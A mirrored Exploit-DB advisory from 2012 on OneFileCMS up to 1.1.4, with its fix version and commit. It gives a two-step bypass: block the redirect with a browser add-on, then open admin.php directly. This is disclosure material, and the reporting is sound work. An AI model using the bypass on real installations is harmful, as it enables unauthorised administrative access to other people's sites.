OneFileCMS – Failure to Restrict URL Access

• Exploit Database
• 6 阅读

• 作者： Abhi M Balakrishnan
  日期： 2012-03-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18632/

• # Exploit Title: OneFileCMS - Failure to Restrict URL Access
  # Date: 12th March 2012
  # Author: Abhi M Balakrishnan
  # Software Link: https://raw.github.com/rocktronica/OneFileCMS/f265961d0646890c9efe05b93983124abc18c56e/onefilecms.php
  # Version: upto 1.1.4
  # Tested on: Apache-2.2.17, PHP-5.2.17, MySQL-5.5.9, Windows 6.2
  # Vulnerability Status: Fixed on version 1.1.5.	Developer was very quick in responding to mails and to fix the issue. Bugfix version released within minutes after the notification. Great work.!!!
  	Commit: https://github.com/rocktronica/OneFileCMS/commit/a4e36213d9fe3efccc2f6730d29fd2a05c57594b
  
  # Vulnerability: Failure to Restrict URL Access, since the redirection mechanism can be bypassed easily
  
  # Exploit:
  
  	Step 1:	Create a rule in No-Redirect Add-on: ^http://example.com/path/
  	Step 2:	Access http://example.com/path/admin.php
  
  # PoC Video: http://www.youtube.com/watch?v=0lPz24Z7Q_4